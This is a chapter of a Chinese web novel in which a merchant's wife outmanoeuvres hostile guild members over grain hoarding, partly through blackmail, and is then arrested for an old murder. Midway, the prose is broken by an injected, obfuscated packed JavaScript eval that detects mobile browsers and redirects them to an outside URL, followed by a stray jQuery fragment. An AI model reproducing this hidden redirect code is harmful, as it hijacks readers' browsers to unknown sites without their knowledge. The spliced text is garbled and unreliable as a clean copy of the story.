商会的请柬送到林府时,白栖枝甚至略略一讶。
要知道,林听澜也不是离开一天两天了,往日商会召开,这些人可从来没有请她一谈的意思,如今却……
不过既然他们有意邀请,白栖枝倒也不觉如何。
她朝来送请柬的小厮微微一笑,温声道:“我知晓了。”
白栖枝有不是傻子,她自然知道这次商会既然能邀请她,就必然是朝她来的。
甚至就连缜密如沈忘尘,都叫她不要去。
可不去不行啊。
“放心,我有没什么把柄在他们手里,除非他们真想与林家树敌,否则不会对我怎样。”她说,“正巧,我今日也有两桩生意要同其他老板谈谈,不若就称这次一并谈个痛快,倒也省去我多费口舌。”
很快,七日如白驹过隙,蜉蝣一瞬。
商会如期召开。
不知是凑巧,还是有意为之,她是最后一个被请进去的。
放眼整个堂内,除却她,只有一位穿着朴素的女商贾在,那也是因为丈夫失踪。
说是失踪,其实是被白栖枝杀了,而且在很早很早就被她杀了。
钱温氏。
白栖枝知道她——钱有富的发妻,那个被攀高枝的不幸女人。
只是那人并未见过自己,她也不觉得如何,只将目光扫过众人。
堂内满座目光如刀,剜在她身上,恨不能将她皮肉尽数剥落。
如今林听澜不在,淮安第二富商赵德全高坐首位。
见她来,赵德全假意抬手,眼底却满是讥讽轻蔑:
“林夫人,请坐。”
最末席一张矮凳,孤零零地摆在角落。
那是她的位置。
就算林听澜不在,林家也是淮安第一富商,而叫第一富商的妻子身居末席,就难免有几分恶意嘲讽的意味了。
白栖枝是知道他们会刁难她的。
她并未动气,只微微一笑,缓步走去,拂袖落座:“诸位今日邀我前来,有何指教?”
“指教?不敢当!”一旁端坐第二席位的李万金紧嗤笑道,“只是林夫人,商会自古是爷们儿的地界儿,您一个妇道人家坐这儿,算哪门子规矩?”
“哦?”白栖枝眼皮一撩,目光扫过斜对面的钱温氏,唇角微勾,似笑非笑,“规矩?大昭律例哪条写了女子不得经商?还是说,李老板家的规矩,比王法还大?”
“你!”李万金被噎得脸皮一涨。
忽地,他冷笑道,“哼,伶牙俐齿!就算没有明文规定,可商会向来是男人谈生意的地方,你一介女流,懂什么商道?怕是连账本都看不明白!”
堂内顿时响起几声压低的笑。
白栖枝不慌不忙
这些人骂的不如林听澜恶毒,做的不如沈忘尘决绝。
无非就是说几句不痛不痒的闲话,倘若她还能为这些小事生气,那她也太对不起两人的这几年来的教养了。
她从袖中取出一本账册,轻轻放在桌上,直推到李万金眼皮底下,说:“李老板既然提到账本,不如看看这个?”
李万金翻开,瞳孔骤缩——那上面,一笔笔走私、贿赂,墨迹淋漓,全是他绸缎庄的暗账!
李万金脸色骤变:“你怎么会有!”
“李老板何必问出处?您只要知道,这是什么东西就好。”说着,白栖枝倾身上前,小巧的指尖在那册子上点了点,声音温软,却字字淬冰:“您说巧不巧?新任知州大人正愁没处查前任的烂账呢。倘若我如今就把这份‘功绩’递上去,您猜,大人是谢我,还该是‘谢’您?”
“你!”李万金喉头咯咯作响,手指哆嗦着,却连一个字也蹦不出。
白栖枝笑容明艳:“现在您觉得,妾身可还能看得懂账本么?”
“够了!”孙茂猛地拍案而起,震得茶杯乱跳,“白栖枝,少在这儿耍滑头!今日议的是淮安粮价,你囤积居奇,哄抬物价,弄得全淮安民不聊生!你该当何罪?!”
“就是!妇道人家不安分,祸害商市,简直妖孽!”
“林家交给你?早晚败光!”
满堂唾沫横飞,句句诛心。
白栖枝静静听着,指尖轻叩桌面,待喧闹稍歇,才缓缓开口:
“我哄抬粮价?”
她环视众人,眸光如刀;声音不高,却压得满堂一窒:
“诸位口口声声说我哄抬粮价,可有人想过——为何粮价会涨?”
“衿州大旱,朝廷赈灾粮迟迟未到,淮安的粮商们呢?囤粮!抬价!翻着倍儿地赚那带血的银子!”
“李记粮行,旱后粮价翻五倍!赵氏米铺,陈糠烂谷充新米!”
“你们说我大发国难财,可若我真像赚这带血的银子,早把粮价抬到天上去,让诸位也尝尝饿肚子的滋味!又何须等到今日?”
“狡辩!”周世昌暴起道,“好个舌绽莲花的毒妇!倘若如此,你又为何大肆购买粮食,如今粮价哄涨,你敢说这其中难道没有你的手笔?!你林家仓库里堆着三万石粮食,城外饥民连观音土都吃不上——”
“周掌柜慎言。”看着被周世昌摔得粉碎的茶盏,白栖枝气定神闲,“据我所知,我购粮时,诸位可都笑我蠢笨,说我妇人之仁,杞人忧天。如今倒成了我的罪过?”
“至于那三万石粮食——”
蓦地,她转头,看向与她同座末流的两位粮铺老板。
白栖枝这几日查的正是这个。
自淮安粮价疯涨后,她暗中调查过几家粮铺,为的就是看这其中是否还有粮铺不被利欲熏心、哄抬粮价、以次充好。
可结果往往令她大失所望。
直至林府的探子为她带来这两家的情报。
王、孙两家粮铺,自祸乱伊始至近日,都未有趁乱广发横财之举,相反,这两家的老板还经常体恤流民,哪怕自己收入颇微也愿赠其饭食。
只可惜,这两家都并非什么大店,店中那点粮食也被这些黑心牲畜狠压价钱、低价收购,恐怕如今店内存粮并不富裕。
而白栖枝所要合作的,就是这样的店家。
一来,其势小,不比林家,反倒日后可能还要靠仰仗林家而获取微薄甜头。
二来,其名声不差,甚至在淮安众商贾中为中上乘。
此次饥荒,白栖枝不图钱、不图利,只图名。
她深知名与利自古不分,但既然名在前,那就自有它的道理。
她白栖枝既然要赚名声,就不能与败名声的店家合作,污了她手中的一片算计。
“王老板、孙老板。”
不顾怒火冲天的那几位,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966860|157766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白栖枝直直看向自己对面的两位老板。
他们年纪也不轻了,约莫四十多岁的男人,坐在这儿却如误入黄鼠狼窝的鸡雏般惴惴不安。
听见有人唤他们的名字,他们的身体甚至还瑟缩了一下,朝这位比他们年纪小上太多的小姑娘赔笑脸道:“小白老板。”
他们是时至今日唯一叫得出她姓氏的人,白栖枝满心欣慰:“我有意与两位老板合作,将府内三万石粮食交由两位代为出售,两位不用出钱,且其中利润白某分文不取,全部交由二位。只是,”她顿了顿,为这笔不会亏本的生意加上一个条件,“粮价要按最初来定,倘若二位如他人一般得了粮食亦随之哄抬粮价,便要三倍赔付,两位老板意下如何?”
“这……”两人犯了难。
这确实是笔好生意,且,倘若如今他们帮白栖枝这个忙,就相当于依附上了林家,往后富贵,未可言之。
只是。
白栖枝此话一出,便有人跳脚反对:“孙宏逸、王成荫,倘若你们今日敢与她狼狈为奸,那便是与我们全淮安商贾为敌。莫说将你二人逐出商会,即便是让你们家族从淮安除名也不足以平民愤!你们可要想好,今后是否还要在淮安立足,可全看你们眼下的选择了。”
说话之人正是赵德全。
他在淮安商会内也算是“德高望重”,因其与安抚使为丈婿,又与多方官员有交情,由是淮安大半商家都不敢与他树敌。
他话一出口,王、孙两家立即如霜打的茄子蔫了下去。
白栖枝不怕他,只轻飘飘一句:“如此一来,赵老板是想与我林家为敌咯?”
赵德全一下子消了一半的气焰。
要知道,他虽与官府有关系,可还不敢与林家为敌。
毕竟且不说上,哪怕是宫里的贵妃娘娘饮用的都是林家的茶叶,若论人脉,定是林家更广更胜一筹。
只是,赵德全不信白栖枝能调动林听澜的人脉,毕竟她只是妇人一位,又有谁能听她说话?
“况且,家父生前,在朝中也有几位好友,尤其是当今书画院翰林路羡之路大人,更是家父自同窗时就最为亲密的金兰好友,倘若妾身去求他,看在故人之女的面子上,路大人应该不会驳了妾身的面子吧?”
死人赵德全不在乎,可活人他总是要顾忌的。
这位路羡之路大人他也曾耳闻,据说是如今皇帝如今最喜爱的翰林之一,早就尸骨凉透的白纪风他不用管,难道这么个活生生的路羡之他还能不管么?
要知道,那可是能面见皇上的人,那样的人碾死他一个小小商贾还不是易如反掌?
更何况,如今国库被朝中一党所分,皇帝没准儿正是缺钱的时候,历代帝王缺钱最先死的就是商贾,可听说皇帝还算喜爱林家茶叶,估计一时半会儿不会动她,可他这个钱庄老板就说不准了。
随便按个罪名抄抄家、杀杀人,那对皇上来说还不是易如反掌?
一瞬间,赵德全冷汗直下,一旁人等也噤声不言。
就在众人权衡利弊之时——
“报!”
门外传来一阵急促脚步声,佩刀官兵破门而入,为首捕头亮出铁牌:“有人告发,林府主母白栖枝,涉嫌谋害桃妆轩前任东家钱有富,即刻收监,不得有误!”
满座衣冠骤变。